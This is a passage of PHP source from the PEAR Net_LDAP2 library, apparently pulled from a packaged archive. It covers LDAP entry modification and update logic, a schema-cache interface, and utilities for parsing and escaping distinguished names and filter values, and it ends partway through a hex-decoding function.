    * values you added, _NOT_ all values present on the server. To avoid this, just refetch
    * the entry after calling {@link update()} or select the attribute.
    *
    * @param array $attr Attributes to add
    *
    * @access public
    * @return true|Net_LDAP2_Error
    */
    public function add($attr = array())
    {
        if (false == is_array($attr)) {
            return PEAR::raiseError("Parameter must be an array");
        }
        if ($this->isNew()) {
            $this->setAttributes($attr);
        }
        foreach ($attr as $k => $v) {
            $k = $this->getAttrName($k);
            if (false == is_array($v)) {
                // Do not add empty values
                if ($v == null) {
                    continue;
                } else {
                    $v = array($v);
                }
            }
            // add new values to existing attribute or add new attribute
            if ($this->exists($k)) {
                $this->_attributes[$k] = array_unique(array_merge($this->_attributes[$k], $v));
            } else {
                $this->_map[strtolower($k)] = $k;
                $this->_attributes[$k]      = $v;
            }
            // save changes for update()
            if (!isset($this->_changes["add"][$k])) {
                $this->_changes["add"][$k] = array();
            }
            $this->_changes["add"][$k] = array_unique(array_merge($this->_changes["add"][$k], $v));
        }

        $return = true;
        return $return;
    }

    /**
    * Deletes an whole attribute or a value or the whole entry
    *
    * The parameter can be one of the following:
    *
    * "attributename" - The attribute as a whole will be deleted
    * array("attributename1", "attributename2) - All given attributes will be
    *                                            deleted
    * array("attributename" => "value") - The value will be deleted
    * array("attributename" => array("value1", "value2") - The given values
    *                                                      will be deleted
    * If $attr is null or omitted , then the whole Entry will be deleted!
    *
    * These changes are local to the entry and do
    * not affect the entry on the server until {@link update()} is called.
    *
    * Please note that you must select the attribute (at $ldap->search() for example)
    * to be able to delete values of it, Otherwise {@link update()} will silently fail
    * and remove nothing.
    *
    * @param string|array $attr Attributes to delete (NULL or missing to delete whole entry)
    *
    * @access public
    * @return true
    */
    public function delete($attr = null)
    {
        if (is_null($attr)) {
            $this->_delete = true;
            return true;
        }
        if (is_string($attr)) {
            $attr = array($attr);
        }
        // Make the assumption that attribute names cannot be numeric,
        // therefore this has to be a simple list of attribute names to delete
        if (is_numeric(key($attr))) {
            foreach ($attr as $name) {
                if (is_array($name)) {
                    // someone mixed modes (list mode but specific values given!)
                    $del_attr_name = array_search($name, $attr);
                    $this->delete(array($del_attr_name => $name));
                } else {
                    // mark for update() if this attr was not marked before
                    $name = $this->getAttrName($name);
                    if ($this->exists($name)) {
                        $this->_changes["delete"][$name] = null;
                        unset($this->_attributes[$name]);
                    }
                }
            }
        } else {
            // Here we have a hash with "attributename" => "value to delete"
            foreach ($attr as $name => $values) {
                if (is_int($name)) {
                    // someone mixed modes and gave us just an attribute name
                    $this->delete($values);
                } else {
                    // mark for update() if this attr was not marked before;
                    // this time it must consider the selected values also
                    $name = $this->getAttrName($name);
                    if ($this->exists($name)) {
                        if (false == is_array($values)) {
                            $values = array($values);
                        }
                        // save values to be deleted
                        if (empty($this->_changes["delete"][$name])) {
                            $this->_changes["delete"][$name] = array();
                        }
                        $this->_changes["delete"][$name] =
                            array_unique(array_merge($this->_changes["delete"][$name], $values));
                        foreach ($values as $value) {
                            // find the key for the value that should be deleted
                            $key = array_search($value, $this->_attributes[$name]);
                            if (false !== $key) {
                                // delete the value
                                unset($this->_attributes[$name][$key]);
                            }
                        }
                    }
                }
            }
        }
        $return = true;
        return $return;
    }

    /**
    * Replaces attributes or its values
    *
    * The parameter has to an array of the following form:
    * array("attributename" => "single value",
    *       "attribute2name" => array("value1", "value2"),
    *       "deleteme1" => null,
    *       "deleteme2" => "")
    * If the attribute does not yet exist it will be added instead (see also $force).
    * If the attribue value is null, the attribute will de deleted.
    *
    * These changes are local to the entry and do
    * not affect the entry on the server until {@link update()} is called.
    *
    * In some cases you are not allowed to read the attributes value (for
    * example the ActiveDirectory attribute unicodePwd) but are allowed to
    * replace the value. In this case replace() would assume that the attribute
    * is not in the directory yet and tries to add it which will result in an
    * LDAP_TYPE_OR_VALUE_EXISTS error.
    * To force replace mode instead of add, you can set $force to true.
    *
    * @param array $attr  Attributes to replace
    * @param bool  $force Force replacing mode in case we can't read the attr value but are allowed to replace it
    *
    * @access public
    * @return true|Net_LDAP2_Error
    */
    public function replace($attr = array(), $force = false)
    {
        if (false == is_array($attr)) {
            return PEAR::raiseError("Parameter must be an array");
        }
        foreach ($attr as $k => $v) {
            $k = $this->getAttrName($k);
            if (false == is_array($v)) {
                // delete attributes with empty values; treat ints as string
                if (is_int($v)) {
                    $v = "$v";
                }
                if ($v == null) {
                    $this->delete($k);
                    continue;
                } else {
                    $v = array($v);
                }
            }
            // existing attributes will get replaced
            if ($this->exists($k) || $force) {
                $this->_changes["replace"][$k] = $v;
                $this->_attributes[$k]         = $v;
            } else {
                // new ones just get added
                $this->add(array($k => $v));
            }
        }
        $return = true;
        return $return;
    }

    /**
    * Update the entry on the directory server
    *
    * This will evaluate all changes made so far and send them
    * to the directory server.
    * Please note, that if you make changes to objectclasses wich
    * have mandatory attributes set, update() will currently fail.
    * Remove the entry from the server and readd it as new in such cases.
    * This also will deal with problems with setting structural object classes.
    *
    * @param Net_LDAP2  $ldap If passed, a call to setLDAP() is issued prior update, thus switching the LDAP-server. This is for perl-ldap interface compliance
    * @param boolean    $deleteoldrdn (optional) if false the old RDN value(s) is retained as non-distinguishided values of the entry.
    *
    * @access public
    * @return true|Net_LDAP2_Error
    * @todo Entry rename with a DN containing special characters needs testing!
    */
    public function update($deleteoldrdn = true, $ldap = null)
    {
        if ($ldap) {
            $msg = $this->setLDAP($ldap);
            if (Net_LDAP2::isError($msg)) {
                return PEAR::raiseError('You passed an invalid $ldap variable to update()');
            }
        }

        // ensure we have a valid LDAP object
        $ldap = $this->getLDAP();
        if (!$ldap instanceof Net_LDAP2) {
            return PEAR::raiseError("The entries LDAP object is not valid");
        }

        // Get and check link
        $link = $ldap->getLink();
        if (!is_resource($link) && !$link instanceof \LDAP\Connection) {
            return PEAR::raiseError("Could not update entry: internal LDAP link is invalid");
        }

        /*
        * Delete the entry
        */
        if (true === $this->_delete) {
            return $ldap->delete($this);
        }

        /*
        * New entry
        */
        if (true === $this->_new) {
            $msg = $ldap->add($this);
            if (Net_LDAP2::isError($msg)) {
                return $msg;
            }
            $this->_new                = false;
            $this->_changes['add']     = array();
            $this->_changes['delete']  = array();
            $this->_changes['replace'] = array();
            $this->_original           = $this->_attributes;

            // In case the "new" entry was moved after creation, we must
            // adjust the internal DNs as the entry was already created
            // with the most current DN.
            if (false == is_null($this->_newdn)) {
                $this->_dn    = $this->_newdn;
                $this->_newdn = null;
            }

            $return = true;
            return $return;
        }

        /*
        * Rename/move entry
        */
        if (false == is_null($this->_newdn)) {
            if ($ldap->getLDAPVersion() !== 3) {
                return PEAR::raiseError("Renaming/Moving an entry is only supported in LDAPv3");
            }
            // make dn relative to parent (needed for ldap rename)
            $parent = Net_LDAP2_Util::ldap_explode_dn($this->_newdn, array('casefolding' => 'none', 'reverse' => false, 'onlyvalues' => false));
            if (Net_LDAP2::isError($parent)) {
                return $parent;
            }
            $child = array_shift($parent);
            // maybe the dn consist of a multivalued RDN, we must build the dn in this case
            // because the $child-RDN is an array!
            if (is_array($child)) {
                $child = Net_LDAP2_Util::canonical_dn($child);
            }
            $parent = Net_LDAP2_Util::canonical_dn($parent);

            // rename/move
            if (false == @ldap_rename($link, $this->_dn, $child, $parent, $deleteoldrdn)) {

                return PEAR::raiseError("Entry not renamed: " .
                                        @ldap_error($link), @ldap_errno($link));
            }
            // reflect changes to local copy
            $this->_dn    = $this->_newdn;
            $this->_newdn = null;
        }

        /*
        * Retrieve a entry that has all attributes we need so that the list of changes to build is created accurately
        */
        $fullEntry = $ldap->getEntry( $this->dn() );
        if ( Net_LDAP2::isError($fullEntry) ) {
            return PEAR::raiseError("Could not retrieve a full set of attributes to reconcile changes with");
        }
        $modifications = array();

        // ADD
        foreach ($this->_changes["add"] as $attr => $value) {
            // if attribute exists, we need to combine old and new values
            if ($fullEntry->exists($attr)) {
                $currentValue = $fullEntry->getValue($attr, "all");
                $value = array_merge( $currentValue, $value );
            }

            $modifications[$attr] = $value;
        }

        // DELETE
        foreach ($this->_changes["delete"] as $attr => $value) {
            // In LDAPv3 you need to specify the old values for deleting
            if (is_null($value) && $ldap->getLDAPVersion() === 3) {
                $value = $fullEntry->getValue($attr);
            }
            if (!is_array($value)) {
                $value = array($value);
            }

            // Find out what is missing from $value and exclude it
            $currentValue = isset($modifications[$attr]) ? $modifications[$attr] : $fullEntry->getValue($attr, "all");
            $modifications[$attr] = array_values( array_diff( $currentValue, $value ) );
        }

        // REPLACE
        foreach ($this->_changes["replace"] as $attr => $value) {
            $modifications[$attr] = $value;
        }

        // COMMIT
        if (false === @ldap_modify($link, $this->dn(), $modifications)) {
            return PEAR::raiseError("Could not modify the entry: " . @ldap_error($link), @ldap_errno($link));
        }

        // all went well, so _original (server) becomes _attributes (local copy), reset _changes too...
        $this->_changes['add']     = array();
        $this->_changes['delete']  = array();
        $this->_changes['replace'] = array();
        $this->_original           = $this->_attributes;

        $return = true;
        return $return;
    }

    /**
    * Returns the right attribute name
    *
    * @param string $attr Name of attribute
    *
    * @access protected
    * @return string The right name of the attribute
    */
    protected function getAttrName($attr)
    {
        $name = strtolower($attr);
        if (array_key_exists($name, $this->_map)) {
            $attr = $this->_map[$name];
        }
        return $attr;
    }

    /**
    * Returns a reference to the LDAP-Object of this entry
    *
    * @access public
    * @return Net_LDAP2|Net_LDAP2_Error   Reference to the Net_LDAP2 Object (the connection) or Net_LDAP2_Error
    */
    public function getLDAP()
    {
        if (!$this->_ldap instanceof Net_LDAP2) {
            $err = new PEAR_Error('LDAP is not a valid Net_LDAP2 object');
            return $err;
        } else {
            return $this->_ldap;
        }
    }

    /**
    * Sets a reference to the LDAP-Object of this entry
    *
    * After setting a Net_LDAP2 object, calling update() will use that object for
    * updating directory contents. Use this to dynamicly switch directorys.
    *
    * @param Net_LDAP2 $ldap Net_LDAP2 object that this entry should be connected to
    *
    * @access public
    * @return true|Net_LDAP2_Error
    */
    public function setLDAP($ldap)
    {
        if (!$ldap instanceof Net_LDAP2) {
            return PEAR::raiseError("LDAP is not a valid Net_LDAP2 object");
        } else {
            $this->_ldap = $ldap;
            return true;
        }
    }

    /**
    * Marks the entry as new/existing.
    *
    * If an Entry is marked as new, it will be added to the directory
    * when calling {@link update()}.
    * If the entry is marked as old ($mark = false), then the entry is
    * assumed to be present in the directory server wich results in
    * modification when calling {@link update()}.
    *
    * @param boolean $mark Value to set, defaults to "true"
    *
    * @return void
    */
    public function markAsNew($mark = true)
    {
        $this->_new = ($mark)? true : false;
    }

    /**
    * Applies a regular expression onto a single- or multivalued attribute (like preg_match())
    *
    * This method behaves like PHPs preg_match() but with some exceptions.
    * If you want to retrieve match information, then you MUST pass the
    * $matches parameter via reference! otherwise you will get no matches.
    * Since it is possible to have multi valued attributes the $matches
    * array will have a additionally numerical dimension (one for each value):
    * <code>
    * $matches = array(
    *         0 => array (usual preg_match() returnarray),
    *         1 => array (usual preg_match() returnarray)
    *     )
    * </code>
    * Please note, that $matches will be initialized to an empty array inside.
    *
    * Usage example:
    * <code>
    * $result = $entry->preg_match('/089(\d+)/', 'telephoneNumber', $matches);
    * if ( $result === true ){
    *     echo "First match: ".$matches[0][1];   // Match of value 1, content of first bracket
    * } else {
    *     if ( Net_LDAP2::isError($result) ) {
    *         echo "Error: ".$result->getMessage();
    *     } else {
    *         echo "No match found.";
    *     }
    * }
    * </code>
    *
    * Please note that it is important to test for an Net_LDAP2_Error, because objects are
    * evaluating to true by default, thus if an error occured, and you only check using "==" then
    * you get misleading results. Use the "identical" (===) operator to test for matches to
    * avoid this as shown above.
    *
    * @param string $regex     The regular expression
    * @param string $attr_name The attribute to search in
    * @param array  $matches   (optional, PASS BY REFERENCE!) Array to store matches in
    *
    * @return boolean|Net_LDAP2_Error  TRUE, if we had a match in one of the values, otherwise false. Net_LDAP2_Error in case something went wrong
    */
    public function pregMatch($regex, $attr_name, $matches = array())
    {
        $matches = array();

        // fetch attribute values
        $attr = $this->getValue($attr_name, 'all');

        // perform preg_match() on all values
        $match = false;
        foreach ($attr as $thisvalue) {
            $matches_int = array();
            if (preg_match($regex, $thisvalue, $matches_int)) {
                $match = true;
                array_push($matches, $matches_int); // store matches in reference
            }
        }
        return $match;
    }

    /**
    * Alias of {@link pregMatch()} for compatibility to Net_LDAP 1
    *
    * @see pregMatch()
    * @return boolean|Net_LDAP2_Error
    */
    public function preg_match()
    {
        $args = func_get_args();
        return call_user_func_array(array( $this, 'pregMatch' ), $args);
    }

    /**
    * Tells if the entry is consiedered as new (not present in the server)
    *
    * Please note, that this doesn't tell you if the entry is present on the server.
    * Use {@link Net_LDAP2::dnExists()} to see if an entry is already there.
    *
    * @return boolean
    */
    public function isNew()
    {
        return $this->_new;
    }


    /**
    * Is this entry going to be deleted once update() is called?
    *
    * @return boolean
    */
    public function willBeDeleted()
    {
        return $this->_delete;
    }

    /**
    * Is this entry going to be moved once update() is called?
    *
    * @return boolean
    */
    public function willBeMoved()
    {
        return ($this->dn() !== $this->currentDN());
    }

    /**
    * Returns always the original DN
    *
    * If an entry will be moved but {@link update()} was not called,
    * {@link dn()} will return the new DN. This method however, returns
    * always the current active DN.
    *
    * @return string
    */
    public function currentDN()
    {
        return $this->_dn;
    }

    /**
    * Returns the attribute changes to be carried out once update() is called
    *
    * @return array
    */
    public function getChanges()
    {
        return $this->_changes;
    }
}
?>
PK
h�\L��+��9vendor/pear/net_ldap2/Net/LDAP2/SchemaCache.interface.phpnu�[���<?php
/* vim: set expandtab tabstop=4 shiftwidth=4: */
/**
* File containing the Net_LDAP2_SchemaCache interface class.
*
* PHP version 5
*
* @category  Net
* @package   Net_LDAP2
* @author    Benedikt Hallinger <beni@php.net>
* @copyright 2009 Benedikt Hallinger
* @license   http://www.gnu.org/licenses/lgpl-3.0.txt LGPLv3
* @version   SVN: $Id$
* @link      http://pear.php.net/package/Net_LDAP2/
*/

/**
* Interface describing a custom schema cache object
*
* To implement a custom schema cache, one must implement this interface and
* pass the instanciated object to Net_LDAP2s registerSchemaCache() method.
*/
interface Net_LDAP2_SchemaCache
{
    /**
    * Return the schema object from the cache
    *
    * Net_LDAP2 will consider anything returned invalid, except
    * a valid Net_LDAP2_Schema object.
    * In case you return a Net_LDAP2_Error, this error will be routed
    * to the return of the $ldap->schema() call.
    * If you return something else, Net_LDAP2 will
    * fetch a fresh Schema object from the LDAP server.
    *
    * You may want to implement a cache aging mechanism here too.
    *
    * @return Net_LDAP2_Schema|Net_LDAP2_Error|false
    */
    public function loadSchema();

    /**
    * Store a schema object in the cache
    *
    * This method will be called, if Net_LDAP2 has fetched a fresh
    * schema object from LDAP and wants to init or refresh the cache.
    *
    * In case of errors you may return a Net_LDAP2_Error which will
    * be routet to the client.
    * Note that doing this prevents, that the schema object fetched from LDAP
    * will be given back to the client, so only return errors if storing
    * of the cache is something crucial (e.g. for doing something else with it).
    * Normaly you dont want to give back errors in which case Net_LDAP2 needs to
    * fetch the schema once per script run and instead use the error
    * returned from loadSchema().
    *
    * @return true|Net_LDAP2_Error
    */
    public function storeSchema($schema);
}
PK
h�\<Ά�a�a(vendor/pear/net_ldap2/Net/LDAP2/Util.phpnu�[���<?php
/* vim: set expandtab tabstop=4 shiftwidth=4: */
/**
* File containing the Net_LDAP2_Util interface class.
*
* PHP version 5
*
* @category  Net
* @package   Net_LDAP2
* @author    Benedikt Hallinger <beni@php.net>
* @copyright 2009 Benedikt Hallinger
* @license   http://www.gnu.org/licenses/lgpl-3.0.txt LGPLv3
* @version   SVN: $Id$
* @link      http://pear.php.net/package/Net_LDAP2/
*/

/**
* Includes
*/
require_once 'PEAR.php';

/**
* Utility Class for Net_LDAP2
*
* This class servers some functionality to the other classes of Net_LDAP2 but most of
* the methods can be used separately as well.
*
* @category Net
* @package  Net_LDAP2
* @author   Benedikt Hallinger <beni@php.net>
* @license  http://www.gnu.org/copyleft/lesser.html LGPL
* @link     http://pear.php.net/package/Net_LDAP22/
*/
class Net_LDAP2_Util extends PEAR
{
    /**
     * Constructor
     *
     * @access public
     */
    public function __construct()
    {
         // We do nothing here, since all methods can be called statically.
         // In Net_LDAP <= 0.7, we needed a instance of Util, because
         // it was possible to do utf8 encoding and decoding, but this
         // has been moved to the LDAP class. The constructor remains only
         // here to document the downward compatibility of creating an instance.
    }

    /**
    * Explodes the given DN into its elements
    *
    * {@link http://www.ietf.org/rfc/rfc2253.txt RFC 2253} says, a Distinguished Name is a sequence
    * of Relative Distinguished Names (RDNs), which themselves
    * are sets of Attributes. For each RDN a array is constructed where the RDN part is stored.
    *
    * For example, the DN 'OU=Sales+CN=J. Smith,DC=example,DC=net' is exploded to:
    * <kbd>array( [0] => array([0] => 'OU=Sales', [1] => 'CN=J. Smith'), [2] => 'DC=example', [3] => 'DC=net' )</kbd>
    *
    * [NOT IMPLEMENTED] DNs might also contain values, which are the bytes of the BER encoding of
    * the X.500 AttributeValue rather than some LDAP string syntax. These values are hex-encoded
    * and prefixed with a #. To distinguish such BER values, ldap_explode_dn uses references to
    * the actual values, e.g. '1.3.6.1.4.1.1466.0=#04024869,DC=example,DC=com' is exploded to:
    * [ { '1.3.6.1.4.1.1466.0' => "\004\002Hi" }, { 'DC' => 'example' }, { 'DC' => 'com' } ];
    * See {@link http://www.vijaymukhi.com/vmis/berldap.htm} for more information on BER.
    *
    *  It also performs the following operations on the given DN:
    *   - Unescape "\" followed by ",", "+", """, "\", "<", ">", ";", "#", "=", " ", or a hexpair
    *     and strings beginning with "#".
    *   - Removes the leading 'OID.' characters if the type is an OID instead of a name.
    *   - If an RDN contains multiple parts, the parts are re-ordered so that the attribute type names are in alphabetical order.
    *
    * OPTIONS is a list of name/value pairs, valid options are:
    *   casefold    Controls case folding of attribute types names.
    *               Attribute values are not affected by this option.
    *               The default is to uppercase. Valid values are:
    *               lower        Lowercase attribute types names.
    *               upper        Uppercase attribute type names. This is the default.
    *               none         Do not change attribute type names.
    *   reverse     If TRUE, the RDN sequence is reversed.
    *   onlyvalues  If TRUE, then only attributes values are returned ('foo' instead of 'cn=foo')
    *

    * @param string $dn      The DN that should be exploded
    * @param array  $options Options to use
    *
    * @static
    * @return array   Parts of the exploded DN
    * @todo implement BER
    */
    public static function ldap_explode_dn($dn, $options = array('casefold' => 'upper'))
    {
        if (!isset($options['onlyvalues'])) $options['onlyvalues']  = false;
        if (!isset($options['reverse']))    $options['reverse']     = false;
        if (!isset($options['casefold']))   $options['casefold']    = 'upper';

        // Escaping of DN and stripping of "OID."
        $dn = self::canonical_dn($dn, array('casefold' => $options['casefold']));

        // splitting the DN
        $dn_array = preg_split('/(?<=[^\\\\]),/', $dn);

        // clear wrong splitting (possibly we have split too much)
        // /!\ Not clear, if this is neccessary here
        //$dn_array = self::correct_dn_splitting($dn_array, ',');

        // construct subarrays for multivalued RDNs and unescape DN value
        // also convert to output format and apply casefolding
        foreach ($dn_array as $key => $value) {
            $value_u = self::unescape_dn_value($value);
            $rdns    = self::split_rdn_multival($value_u[0]);
            if (count($rdns) > 1) {
                // MV RDN!
                foreach ($rdns as $subrdn_k => $subrdn_v) {
                    // Casefolding
                    if ($options['casefold'] == 'upper') {
                        $subrdn_v = preg_replace_callback(
                            "/^\w+=/",
                            function ($matches) {
                                return strtoupper($matches[0]);
                            },
                            $subrdn_v
                        );
                    } else if ($options['casefold'] == 'lower') {
                        $subrdn_v = preg_replace_callback(
                            "/^\w+=/",
                            function ($matches) {
                                return strtolower($matches[0]);
                            },
                            $subrdn_v
                        );
                    }

                    if ($options['onlyvalues']) {
                        preg_match('/(.+?)(?<!\\\\)=(.+)/', $subrdn_v, $matches);
                        $rdn_ocl         = $matches[1];
                        $rdn_val         = $matches[2];
                        $unescaped       = self::unescape_dn_value($rdn_val);
                        $rdns[$subrdn_k] = $unescaped[0];
                    } else {
                        $unescaped = self::unescape_dn_value($subrdn_v);
                        $rdns[$subrdn_k] = $unescaped[0];
                    }
                }

                $dn_array[$key] = $rdns;
            } else {
                // normal RDN

                // Casefolding
                if ($options['casefold'] == 'upper') {
                    $value = preg_replace_callback(
                        "/^\w+=/",
                        function ($matches) {
                            return strtoupper($matches[0]);
                        },
                        $value
                    );
                } else if ($options['casefold'] == 'lower') {
                    $value = preg_replace_callback(
                        "/^\w+=/",
                        function ($matches) {
                            return strtolower($matches[0]);
                        },
                        $value
                    );
                }

                if ($options['onlyvalues']) {
                    preg_match('/(.+?)(?<!\\\\)=(.+)/', $value, $matches);
                    $dn_ocl         = $matches[1];
                    $dn_val         = $matches[2];
                    $unescaped      = self::unescape_dn_value($dn_val);
                    $dn_array[$key] = $unescaped[0];
                } else {
                    $unescaped = self::unescape_dn_value($value);
                    $dn_array[$key] = $unescaped[0];
                }
            }
        }

        if ($options['reverse']) {
            return array_reverse($dn_array);
        } else {
            return $dn_array;
        }
    }

    /**
    * Escapes a DN value according to RFC 2253
    *
    * Escapes the given VALUES according to RFC 2253 so that they can be safely used in LDAP DNs.
    * The characters ",", "+", """, "\", "<", ">", ";", "#", "=" with a special meaning in RFC 2252
    * are preceeded by ba backslash. Control characters with an ASCII code < 32 are represented as \hexpair.
    * Finally all leading and trailing spaces are converted to sequences of \20.
    *
    * @param array $values An array containing the DN values that should be escaped
    *
    * @static
    * @return array The array $values, but escaped
    */
    public static function escape_dn_value($values = array())
    {
        // Parameter validation
        if (!is_array($values)) {
            $values = array($values);
        }

        foreach ($values as $key => $val) {
            // Escaping of filter meta characters
            $val = str_replace('\\', '\\\\', $val);
            $val = str_replace(',',    '\,', $val);
            $val = str_replace('+',    '\+', $val);
            $val = str_replace('"',    '\"', $val);
            $val = str_replace('<',    '\<', $val);
            $val = str_replace('>',    '\>', $val);
            $val = str_replace(';',    '\;', $val);
            $val = str_replace('#',    '\#', $val);
            $val = str_replace('=',    '\=', $val);

            // ASCII < 32 escaping
            $val = self::asc2hex32($val);

            // Convert all leading and trailing spaces to sequences of \20.
            if (preg_match('/^(\s*)(.+?)(\s*)$/', $val, $matches)) {
                $val = $matches[2];
                for ($i = 0; $i < strlen($matches[1]); $i++) {
                    $val = '\20'.$val;
                }
                for ($i = 0; $i < strlen($matches[3]); $i++) {
                    $val = $val.'\20';
                }
            }

            if (null === $val) $val = '\0';  // apply escaped "null" if string is empty

            $values[$key] = $val;
        }

        return $values;
    }

    /**
    * Undoes the conversion done by escape_dn_value().
    *
    * Any escape sequence starting with a baskslash - hexpair or special character -
    * will be transformed back to the corresponding character.
    *
    * @param array $values Array of DN Values
    *
    * @return array Same as $values, but unescaped
    * @static
    */
    public static function unescape_dn_value($values = array())
    {
        // Parameter validation
        if (!is_array($values)) {
            $values = array($values);
        }

        foreach ($values as $key => $val) {
            // strip slashes from special chars
            $val = str_replace('\\\\', '\\', $val);
            $val = str_replace('\,',    ',', $val);
            $val = str_replace('\+',    '+', $val);
            $val = str_replace('\"',    '"', $val);
            $val = str_replace('\<',    '<', $val);
            $val = str_replace('\>',    '>', $val);
            $val = str_replace('\;',    ';', $val);
            $val = str_replace('\#',    '#', $val);
            $val = str_replace('\=',    '=', $val);

            // Translate hex code into ascii
            $values[$key] = self::hex2asc($val);
        }

        return $values;
    }

    /**
    * Returns the given DN in a canonical form
    *
    * Returns false if DN is not a valid Distinguished Name.
    * DN can either be a string or an array
    * as returned by ldap_explode_dn, which is useful when constructing a DN.
    * The DN array may have be indexed (each array value is a OCL=VALUE pair)
    * or associative (array key is OCL and value is VALUE).
    *
    * It performs the following operations on the given DN:
    *     - Removes the leading 'OID.' characters if the type is an OID instead of a name.
    *     - Escapes all RFC 2253 special characters (",", "+", """, "\", "<", ">", ";", "#", "="), slashes ("/"), and any other character where the ASCII code is < 32 as \hexpair.
    *     - Converts all leading and trailing spaces in values to be \20.
    *     - If an RDN contains multiple parts, the parts are re-ordered so that the attribute type names are in alphabetical order.
    *
    * OPTIONS is a list of name/value pairs, valid options are:
    *     casefold    Controls case folding of attribute type names.
    *                 Attribute values are not affected by this option. The default is to uppercase.
    *                 Valid values are:
    *                 lower        Lowercase attribute type names.
    *                 upper        Uppercase attribute type names. This is the default.
    *                 none         Do not change attribute type names.
    *     [NOT IMPLEMENTED] mbcescape   If TRUE, characters that are encoded as a multi-octet UTF-8 sequence will be escaped as \(hexpair){2,*}.
    *     reverse     If TRUE, the RDN sequence is reversed.
    *     separator   Separator to use between RDNs. Defaults to comma (',').
    *
    * Note: The empty string "" is a valid DN, so be sure not to do a "$can_dn == false" test,
    *       because an empty string evaluates to false. Use the "===" operator instead.
    *
    * @param array|string $dn      The DN
    * @param array        $options Options to use
    *
    * @static
    * @return false|string The canonical DN or FALSE
    * @todo implement option mbcescape
    */
    public static function canonical_dn($dn, $options = array('casefold' => 'upper', 'separator' => ','))
    {
        if ($dn === '') return $dn;  // empty DN is valid!

        // options check
        if (!isset($options['reverse'])) {
            $options['reverse'] = false;
        } else {
            $options['reverse'] = true;
        }
        if (!isset($options['casefold']))  $options['casefold'] = 'upper';
        if (!isset($options['separator'])) $options['separator'] = ',';


        if (!is_array($dn)) {
            // It is not clear to me if the perl implementation splits by the user defined
            // separator or if it just uses this separator to construct the new DN
            $dn = preg_split('/(?<=[^\\\\])'.$options['separator'].'/', $dn);

            // clear wrong splitting (possibly we have split too much)
            $dn = self::correct_dn_splitting($dn, $options['separator']);
        } else {
            // Is array, check, if the array is indexed or associative
            $assoc = false;
            foreach ($dn as $dn_key => $dn_part) {
                if (!is_int($dn_key)) {
                    $assoc = true;
                }
            }
            // convert to indexed, if associative array detected
            if ($assoc) {
                $newdn = array();
                foreach ($dn as $dn_key => $dn_part) {
                    if (is_array($dn_part)) {
                        ksort($dn_part, SORT_STRING); // we assume here, that the rdn parts are also associative
                        $newdn[] = $dn_part;  // copy array as-is, so we can resolve it later
                    } else {
                        $newdn[] = $dn_key.'='.$dn_part;
                    }
                }
                $dn =& $newdn;
            }
        }

        // Escaping and casefolding
        foreach ($dn as $pos => $dnval) {
            if (is_array($dnval)) {
                // subarray detected, this means very surely, that we had
                // a multivalued dn part, which must be resolved
                $dnval_new = '';
                foreach ($dnval as $subkey => $subval) {
                    // build RDN part
                    if (!is_int($subkey)) {
                        $subval = $subkey.'='.$subval;
                    }
                    $subval_processed = self::canonical_dn($subval);
                    if (false === $subval_processed) return false;
                    $dnval_new .= $subval_processed.'+';
                }
                $dn[$pos] = substr($dnval_new, 0, -1); // store RDN part, strip last plus
            } else {
                // try to split multivalued RDNS into array
                $rdns = self::split_rdn_multival($dnval);
                if (count($rdns) > 1) {
                    // Multivalued RDN was detected!
                    // The RDN value is expected to be correctly split by split_rdn_multival().
                    // It's time to sort the RDN and build the DN!
                    $rdn_string = '';
                    sort($rdns, SORT_STRING); // Sort RDN keys alphabetically
                    foreach ($rdns as $rdn) {
                        $subval_processed = self::canonical_dn($rdn);
                        if (false === $subval_processed) return false;
                        $rdn_string .= $subval_processed.'+';
                    }

                    $dn[$pos] = substr($rdn_string, 0, -1); // store RDN part, strip last plus

                } else {
                    // no multivalued RDN!
                    // split at first unescaped "="
                    $dn_comp = preg_split('/(?<=[^\\\\])=/', $rdns[0], 2);
                    $ocl     = ltrim($dn_comp[0]);  // trim left whitespaces 'cause of "cn=foo, l=bar" syntax (whitespace after comma)
                    $val     = $dn_comp[1];

                    // strip 'OID.', otherwise apply casefolding and escaping
                    if (substr(strtolower($ocl), 0, 4) == 'oid.') {
                        $ocl = substr($ocl, 4);
                    } else {
                        if ($options['casefold'] == 'upper') $ocl = strtoupper($ocl);
                        if ($options['casefold'] == 'lower') $ocl = strtolower($ocl);
                        $ocl = self::escape_dn_value(array($ocl));
                        $ocl = $ocl[0];
                    }

                    // escaping of dn-value
                    $val = self::escape_dn_value(array($val));
                    $val = str_replace('/', '\\2f', $val[0]);

                    $dn[$pos] = $ocl.'='.$val;
                }
            }
        }

        if ($options['reverse']) $dn = array_reverse($dn);
        return implode($options['separator'], $dn);
    }

    /**
    * Escapes the given VALUES according to RFC 2254 so that they can be safely used in LDAP filters.
    *
    * Any control characters with an ACII code < 32 as well as the characters with special meaning in
    * LDAP filters "*", "(", ")", and "\" (the backslash) are converted into the representation of a
    * backslash followed by two hex digits representing the hexadecimal value of the character.
    *
    * @param array $values Array of values to escape
    *
    * @static
    * @return array Array $values, but escaped
    */
    public static function escape_filter_value($values = array())
    {
        // Parameter validation
        if (!is_array($values)) {
            $values = array($values);
        }

        foreach ($values as $key => $val) {
            // Escaping of filter meta characters
            $val = str_replace('\\', '\5c', $val);
            $val = str_replace('*',  '\2a', $val);
            $val = str_replace('(',  '\28', $val);
            $val = str_replace(')',  '\29', $val);

            // ASCII < 32 escaping
            $val = self::asc2hex32($val);

            if (null === $val) $val = '\0';  // apply escaped "null" if string is empty

            $values[$key] = $val;
        }

        return $values;
    }

    /**
    * Undoes the conversion done by {@link escape_filter_value()}.
    *
    * Converts any sequences of a backslash followed by two hex digits into the corresponding character.
    *
    * @param array $values Array of values to escape
    *
    * @static
    * @return array Array $values, but unescaped
    */
    public static function unescape_filter_value($values = array())
    {
        // Parameter validation
        if (!is_array($values)) {
            $values = array($values);
        }

        foreach ($values as $key => $value) {
            // Translate hex code into ascii
            $values[$key] = self::hex2asc($value);
        }

        return $values;
    }

    /**
    * Converts all ASCII chars < 32 to "\HEX"
    *
    * @param string $string String to convert
    *
    * @static
    * @return string
    */
    public static function asc2hex32($string)
    {
        for ($i = 0; $i < strlen($string); $i++) {
            $char = substr($string, $i, 1);
            if (ord($char) < 32) {
                $hex = dechex(ord($char));
                if (strlen($hex) == 1) $hex = '0'.$hex;
                $string = str_replace($char, '\\'.$hex, $string);
            }
        }
        return $string;
    }

    /**
    * Converts all Hex expressions ("\HEX") to their original ASCII characters
    *
    * @param string $string String to convert
    *
    * @static
    * @author beni@php.net, heavily based on work from DavidSmith@byu.net
    * @return string
    */
    public static function hex2asc($string)
    {
